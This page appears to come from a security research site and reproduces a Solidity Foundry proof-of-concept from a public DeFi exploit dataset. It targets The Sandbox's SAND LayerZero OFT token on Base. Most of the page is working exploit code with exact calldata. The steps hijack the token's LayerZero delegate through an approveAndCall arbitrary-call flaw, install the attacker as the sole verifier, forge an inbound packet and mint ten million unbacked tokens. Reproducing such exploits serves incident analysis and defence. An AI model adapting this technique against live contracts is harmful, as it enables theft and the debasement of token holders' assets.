Skip to content
THREATWIRE

Public reproduction file

src/test/2026-08/SandboxOFT_exp.sol

Public reproduction file for dataset entry SandboxOFT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-08/SandboxOFT_exp.sol157 lines
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.20;
3
4import "forge-std/Test.sol";
5
6// The Sandbox (SAND) — LayerZero OFT deployment on Base
7// Unbacked SAND minted out of thin air. One representative tx of a still-ongoing campaign that had
8// minted ~$49B face value across 400+ txs at report time. This PoC reproduces ONE tx faithfully.
9//
10// Exploit tx : 0x76ed03844ff61520a0fb99278f92f2f1453b24ccbacd20b91131703e4a56a446 (Base block 50289412)
11// Attacker EOA : 0x638Ccb18370eE228378a565c1d4D0F9620d7F296 (tx.origin, mint recipient; nonce 72)
12// Attack ctrt : 0xd7Cb71EE00a812FC22ACcfE08A2f59A5Add2f6Ca (CREATE'd this tx; becomes delegate + DVN)
13// Victim token : 0xac531Eb26Ca1d21b85126De8FB87E80E09002DcF (OFTSand, the SAND OFT)
14// EndpointV2 : 0x1a44076050125825900e736c501f859c50fE728c
15// ReceiveUln302: 0xc70AB6f32772f59fBfc23889Caf4Ba3376C84bAf
16// Mint this tx : 10,000,000 SAND (1e25, amountSD 1e13 * decimalConversionRate 1e12)
17//
18// Root cause (permissionless code defect, verified against the on-chain trace; NO key/admin
19// compromise — every call below is reachable by any caller):
20//
21// OFTSand.approveAndCall(target, amount, data) is an ERC677-style helper that does
22// target.call{value: msg.value}(data)
23// with msg.sender == the token itself. Its ONLY guard is
24// doFirstParamEqualsAddress(data, _msgSender())
25// i.e. the first 32-byte word of `data` must equal the caller. That guard is meant to stop
26// spending someone else's approval, but it does nothing to constrain WHICH function the token
27// is made to call. So it is a generic "call any contract AS the token" primitive.
28//
29// The token is the OApp registered in the LayerZero EndpointV2. Attacker calls
30// approveAndCall(Endpoint, 0, setDelegate(attacker))
31// The first param of setDelegate(address) is `attacker` == caller, so the guard passes, and the
32// token executes Endpoint.setDelegate(attacker) with msg.sender == token, hijacking the OApp's
33// LayerZero delegate role (normally only settable by the token's onlyOwner setDelegate()).
34//
35// As delegate the attacker reconfigures the OApp's receive stack:
36// 1. Endpoint.setConfig(OFTSand, ReceiveUln302, UlnConfig{requiredDVNs:[attacker]}) — makes the
37// attacker's own contract the sole required DVN for inbound packets from srcEid 30101.
38// 2. ReceiveUln302.verify(header, payloadHash, 1) as that DVN — self-attests a forged inbound
39// packet (peer[30101] == the OFT's own address, since SAND OFT is deployed at the same
40// address on Ethereum and Base, so the sender field passes the OApp peer check).
41// 3. ReceiveUln302.commitVerification(header, payloadHash) — commits it to the Endpoint.
42// 4. Endpoint.lzReceive(origin, OFTSand, guid, message, "") — delivers the forged packet;
43// OFTSand._credit does a bare _mint(to, amountLD). Unbacked SAND appears.
44//
45// Calldata below is the exact on-chain calldata. The delegate/DVN address is the real attack
46// contract 0xd7Cb71...; we prank as that address for the calls that require it, and as the
47// attacker EOA for tx.origin, matching the real trace exactly.
49struct Origin {
50 uint32 srcEid;
51 bytes32 sender;
52 uint64 nonce;
55struct SetConfigParam {
56 uint32 eid;
57 uint32 configType;
58 bytes config;
61interface IOFTSand {
62 function approveAndCall(address target, uint256 amount, bytes calldata data) external payable returns (bytes memory);
63 function balanceOf(address) external view returns (uint256);
64 function totalSupply() external view returns (uint256);
65 function decimalConversionRate() external view returns (uint256);
68interface IEndpointV2 {
69 function setConfig(address oapp, address lib, SetConfigParam[] calldata params) external;
70 function lzReceive(
71 Origin calldata origin,
72 address receiver,
73 bytes32 guid,
74 bytes calldata message,
75 bytes calldata extraData
76 ) external payable;
77 function delegates(address) external view returns (address);
80interface IReceiveUln302 {
81 function verify(bytes calldata packetHeader, bytes32 payloadHash, uint64 confirmations) external;
82 function commitVerification(bytes calldata packetHeader, bytes32 payloadHash) external;
85contract SandboxOFT_exp is Test {
86 IOFTSand internal constant SAND = IOFTSand(0xac531Eb26Ca1d21b85126De8FB87E80E09002DcF);
87 IEndpointV2 internal constant ENDPOINT = IEndpointV2(0x1a44076050125825900e736c501f859c50fE728c);
88 IReceiveUln302 internal constant RECEIVE_ULN = IReceiveUln302(0xc70AB6f32772f59fBfc23889Caf4Ba3376C84bAf);
90 address internal constant ATTACKER_EOA = 0x638Ccb18370eE228378a565c1d4D0F9620d7F296; // tx.origin + mint recipient
91 address internal constant ATTACK_CTRT = 0xd7Cb71EE00a812FC22ACcfE08A2f59A5Add2f6Ca; // delegate + DVN + msg.sender
93 uint32 internal constant SRC_EID = 30101; // Ethereum mainnet LZ eid (forged source)
94 uint64 internal constant NONCE = 455;
95 bytes32 internal constant SENDER = 0x000000000000000000000000ac531eb26ca1d21b85126de8fb87e80e09002dcf;
96 bytes32 internal constant GUID = 0x41e1696e58458feb3b1ceaec165f0e716a748343cd930ecbfd9e7fea97ddf821;
97 bytes32 internal constant PAYLOAD_HASH = 0xe9858d4b29aa90b5ce5a637d3003273fc71a83a423bdbf5319235f2520f75403;
99 // 81-byte packet header: version|nonce|srcEid|sender|dstEid|receiver
100 bytes internal constant HEADER =
101 hex"0100000000000001c700007595000000000000000000000000ac531eb26ca1d21b85126de8fb87e80e09002dcf000075e8000000000000000000000000ac531eb26ca1d21b85126de8fb87e80e09002dcf";
103 // OFT message: 32-byte toAddress (attacker EOA) + 6-byte amountSD (0x09184e72a000 = 1e13)
104 bytes internal constant MESSAGE =
105 hex"000000000000000000000000638ccb18370ee228378a565c1d4d0f9620d7f296000009184e72a000";
107 // setDelegate(0xd7Cb71...) — first param == caller so approveAndCall's guard passes.
108 // (trailing zero word is exactly as on-chain; ignored by a 1-arg decode.)
109 bytes internal constant SET_DELEGATE_DATA =
110 hex"ca5eb5e1000000000000000000000000d7cb71ee00a812fc22accfe08a2f59a5add2f6ca0000000000000000000000000000000000000000000000000000000000000000";
112 // abi.encode(UlnConfig{confirmations:1, requiredDVNCount:1, optional 0/0, requiredDVNs:[0xd7Cb71...], optionalDVNs:[]})
113 bytes internal constant ULN_CONFIG =
114 hex"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000d7cb71ee00a812fc22accfe08a2f59a5add2f6ca0000000000000000000000000000000000000000000000000000000000000000";
116 function setUp() public {
117 // one block before the exploit tx
118 vm.createSelectFork("base", 50289411);
119 }
121 function testExploit() public {
122 uint256 balBefore = SAND.balanceOf(ATTACKER_EOA);
123 uint256 supplyBefore = SAND.totalSupply();
124 emit log_named_decimal_uint("SAND balance of attacker before", balBefore, 18);
126 // msg.sender = attack contract (matches trace), tx.origin = attacker EOA
127 vm.startPrank(ATTACK_CTRT, ATTACKER_EOA);
129 // 1. Hijack the OApp's LayerZero delegate via the arbitrary-call-as-token primitive.
130 SAND.approveAndCall(address(ENDPOINT), 0, SET_DELEGATE_DATA);
131 assertEq(ENDPOINT.delegates(address(SAND)), ATTACK_CTRT, "delegate not hijacked");
133 // 2. As delegate, set the attacker's own contract as the sole required DVN.
134 SetConfigParam[] memory params = new SetConfigParam[](1);
135 params[0] = SetConfigParam({eid: SRC_EID, configType: 2, config: ULN_CONFIG});
136 ENDPOINT.setConfig(address(SAND), address(RECEIVE_ULN), params);
138 // 3. As that DVN, self-attest a forged inbound packet, then commit it to the Endpoint.
139 RECEIVE_ULN.verify(HEADER, PAYLOAD_HASH, 1);
140 RECEIVE_ULN.commitVerification(HEADER, PAYLOAD_HASH);
142 // 4. Deliver the forged packet -> OFTSand._credit -> unbacked _mint.
143 Origin memory origin = Origin({srcEid: SRC_EID, sender: SENDER, nonce: NONCE});
144 ENDPOINT.lzReceive(origin, address(SAND), GUID, MESSAGE, "");
146 vm.stopPrank();
148 uint256 balAfter = SAND.balanceOf(ATTACKER_EOA);
149 uint256 minted = balAfter - balBefore;
150 emit log_named_decimal_uint("SAND balance of attacker after ", balAfter, 18);
151 emit log_named_decimal_uint("Unbacked SAND minted ", minted, 18);
153 // amountSD 1e13 * decimalConversionRate 1e12 == 1e25 == 10,000,000 SAND
154 assertEq(minted, 10_000_000e18, "mint amount mismatch");
155 assertEq(SAND.totalSupply() - supplyBefore, minted, "totalSupply not inflated by mint");
156 }

Analysis

Dataset entry

Public Foundry test for “SandboxOFT” (2026-08-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x638ccb18370ee228378a565c1d4d0f9620d7f296

  • Victim

    0xac531eb26ca1d21b85126de8fb87e80e09002dcf

File record

Name
SandboxOFT
Path
src/test/2026-08/SandboxOFT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c5d3df8b3bd250e8041e7b2bb672c97a469eb71f
Language
Solidity
Size
158 lines
Date
2026-08-22
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-08/SandboxOFT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c5d3df8b3bd250e8041e7b2bb672c97a469eb71f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.